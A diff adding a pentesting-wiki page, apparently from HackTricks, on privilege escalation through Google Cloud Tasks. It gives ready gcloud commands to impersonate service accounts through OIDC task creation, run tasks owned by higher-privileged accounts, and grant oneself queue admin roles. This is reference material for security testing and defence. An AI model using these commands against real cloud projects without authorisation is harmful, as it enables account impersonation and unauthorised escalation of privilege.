|
| 1 | +# GCP - Cloud Tasks Privesc |
| 2 | + |
| 3 | +{{#include ../../../banners/hacktricks-training.md}} |
| 4 | + |
| 5 | +## Cloud Tasks |
| 6 | + |
| 7 | +### `cloudtasks.tasks.create`, `iam.serviceAccounts.actAs` |
| 8 | + |
| 9 | +An attacker with these permissions can **impersonate other service accounts** by creating tasks that execute with the specified service account's identity. This allows sending **authenticated HTTP requests to IAM-protected Cloud Run or Cloud Functions** services. |
| 10 | + |
| 11 | +```bash |
| 12 | +gcloud tasks create-http-task \ |
| 13 | + task-$(date '+%Y%m%d%H%M%S') \ |
| 14 | + --location us-central1 \ |
| 15 | + --queue <queue_name> \ |
| 16 | + --url 'https://<service_name>.us-central1.run.app' \ |
| 17 | + --method POST \ |
| 18 | + --header 'X-Hello: world' \ |
| 19 | + --body-content '{"hello":"world"}' \ |
| 20 | + --oidc-service-account-email <account>@<project_id>.iam.gserviceaccount.com |
| 21 | +``` |
| 22 | + |
| 23 | +### `cloudtasks.tasks.run`, `cloudtasks.tasks.list` |
| 24 | + |
| 25 | +An attacker with these permissions can **run existing scheduled tasks** without having permissions on the service account associated with the task. This allows executing tasks that were previously created with higher privileged service accounts. |
| 26 | + |
| 27 | +```bash |
| 28 | +gcloud tasks run projects/<project_id>/locations/us-central1/queues/<queue_name>/tasks/<task_id> |
| 29 | +``` |
| 30 | + |
| 31 | +The principal executing this command **doesn't need `iam.serviceAccounts.actAs` permission** on the task's service account. However, this only allows running existing tasks - it doesn't grant the ability to create or modify tasks. |
| 32 | + |
| 33 | +### `cloudtasks.queues.setIamPolicy` |
| 34 | + |
| 35 | +An attacker with this permission can **grant themselves or other principals Cloud Tasks roles** on specific queues, potentially escalating to `roles/cloudtasks.admin` which includes the ability to create and run tasks. |
| 36 | + |
| 37 | +```bash |
| 38 | +gcloud tasks queues add-iam-policy-binding \ |
| 39 | + <queue_name> \ |
| 40 | + --location us-central1 \ |
| 41 | + --member serviceAccount:<account>@<project_id>.iam.gserviceaccount.com \ |
| 42 | + --role roles/cloudtasks.admin |
| 43 | +``` |
| 44 | + |
| 45 | +This allows the attacker to grant full Cloud Tasks admin permissions on the queue to any service account they control. |
| 46 | + |
| 47 | +## References |
| 48 | + |
| 49 | +- [Google Cloud Tasks Documentation](https://cloud.google.com/tasks/docs) |
| 50 | + |
| 51 | +{{#include ../../../banners/hacktricks-training.md}} |
0 commit comments